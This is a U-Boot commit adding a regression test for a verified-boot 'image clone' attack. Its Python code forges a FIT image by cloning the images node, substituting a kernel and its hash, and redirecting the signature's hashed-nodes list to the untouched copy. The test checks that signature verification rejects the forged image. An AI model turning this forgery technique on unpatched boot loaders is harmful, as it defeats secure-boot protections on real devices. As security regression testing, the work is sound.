diff options
| author | Tom Rini <[email protected]> | 2026-03-18 11:02:33 -0600 |
|---|---|---|
| committer | Tom Rini <[email protected]> | 2026-03-22 19:47:05 -0600 |
| commit | a22e9e1b8ec7c96664072d7e629e811c318fb92a (patch) | |
| tree | fc97fc0c79462da09e584b34ec314522d158fdcd | |
| parent | 33756fd4a8157d1d921a703c4fa172f6d2eadbd2 (diff) | |
tests: FIT: Add "clone" image attack image test
Related to the problem resolved with commit 2092322b31cc ("boot: Add
fit_config_get_hash_list() to build signed node list"), add a testcase
for the problem as well.
Reported-by: Apple Security Engineering and Architecture (SEAR)
Signed-off-by: Tom Rini <[email protected]>
| -rw-r--r-- | test/py/tests/test_vboot.py | 10 | ||||
| -rw-r--r-- | test/py/tests/vboot_evil.py | 65 |
2 files changed, 75 insertions, 0 deletions
diff --git a/test/py/tests/test_vboot.py b/test/py/tests/test_vboot.py index 19f3f981379..55518bed07e 100644 --- a/test/py/tests/test_vboot.py +++ b/test/py/tests/test_vboot.py @@ -372,6 +372,16 @@ def test_vboot(ubman, name, sha_algo, padding, sign_options, required, msg = 'Signature checking prevents use of unit addresses (@) in nodes' run_bootm(sha_algo, 'evil kernel@', msg, False, efit) + # Try doing a clone of the images + efit = '%stest.evilclone.fit' % tmpdir + shutil.copyfile(fit, efit) + vboot_evil.add_evil_node(fit, efit, evil_kernel, 'clone') + + utils.run_and_log_expect_exception( + ubman, [fit_check_sign, '-f', efit, '-k', dtb], + 1, 'Failed to verify required signature') + run_bootm(sha_algo, 'evil clone', 'Bad Data Hash', False, efit) + # Create a new properly signed fit and replace header bytes make_fit('sign-configs-%s%s.its' % (sha_algo, padding), ubman, mkimage, dtc_args, datadir, fit) sign_fit(sha_algo, sign_options) diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py index e2b0cd65468..5720631ae52 100644 --- a/test/py/tests/vboot_evil.py +++ b/test/py/tests/vboot_evil.py @@ -14,6 +14,7 @@ FDT_END = 0x9 FAKE_ROOT_ATTACK = 0 KERNEL_AT = 1 +IMAGE_CLONE = 2 MAGIC = 0xd00dfeed @@ -274,6 +275,66 @@ def get_prop_value(dt_struct, dt_strings, prop_path): return tag_data +def image_clone_attack(dt_struct, dt_strings, kernel_content, kernel_hash): + # retrieve the default configuration name + default_conf_name = get_prop_value( + dt_struct, dt_strings, '/configurations/default') + default_conf_name = str(default_conf_name[:-1], 'utf-8') + + conf_path = '/configurations/' + default_conf_name + + # fetch the loaded kernel name from the default configuration + loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') + + loaded_kernel = str(loaded_kernel[:-1], 'utf-8') + + # since this is the last child in images! + loaded_fdt_name = get_prop_value(dt_struct, dt_strings, conf_path + '/fdt') + + loaded_fdt_name = str(loaded_fdt_name[:-1], 'utf-8') + + # determine boundaries of the images + (img_node_start, img_node_end) = (determine_offset( + dt_struct, dt_strings, '/images')) + if img_node_start is None and img_node_end is None: + print('Fatal error, unable to find images node') + sys.exit() + + # copy the images node + img_node_copy = dt_struct[img_node_start:img_node_end] + + # create an additional empty node + empty_node = struct.pack('>I', FDT_BEGIN_NODE) + b"EMPTYNO\0" + struct.pack('>I', FDT_END_NODE) + # right before the end, we add it! + img_node_copy = img_node_copy[:-4] + empty_node + img_node_copy[-4:] + + # insert the copy inside the tree + dt_struct = dt_struct[:img_node_end-4] + \ + img_node_copy + empty_node + dt_struct[img_node_end-4:] + + # change the content of the kernel being loaded + dt_struct = change_property_value( + dt_struct, dt_strings, '/images/' + loaded_kernel + '/data', kernel_content) + + # change the content of the kernel being loaded + dt_struct = change_property_value( + dt_struct, dt_strings, '/images/' + loaded_kernel + '/hash-1/value', kernel_hash) + + # finally, the main bug: change the hashed nodes to use the images clone instead! + hashed_nodes: bytes = get_prop_value(dt_struct, dt_strings, conf_path + '/signature/hashed-nodes') + print(f"got hashed nodes: {hashed_nodes}") + nodes = hashed_nodes.split(b"\0") + patched_nodes = [] + for node in nodes: + new_node = node + if node.startswith(b"/images/"): + # reparent the node + new_node = b"/images" + node + patched_nodes.append(new_node) + hashed_nodes = b"\0".join(patched_nodes) + dt_struct = change_property_value( + dt_struct, dt_strings, conf_path + '/signature/hashed-nodes', hashed_nodes) + return dt_struct def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): """Conduct the kernel@ attack @@ -419,6 +480,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack): attack = FAKE_ROOT_ATTACK elif attack == 'kernel@': attack = KERNEL_AT + elif attack == 'clone': + attack = IMAGE_CLONE else: raise ValueError('Unknown attack name!') @@ -455,6 +518,8 @@ def add_evil_node(in_fname, out_fname, kernel_fname, attack): elif attack == KERNEL_AT: dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content, hash_digest) + elif attack == IMAGE_CLONE: + dt_struct = image_clone_attack(dt_struct, dt_strings, kernel_content, hash_digest) # now rebuild the new file size_dt_strings = len(dt_strings) |
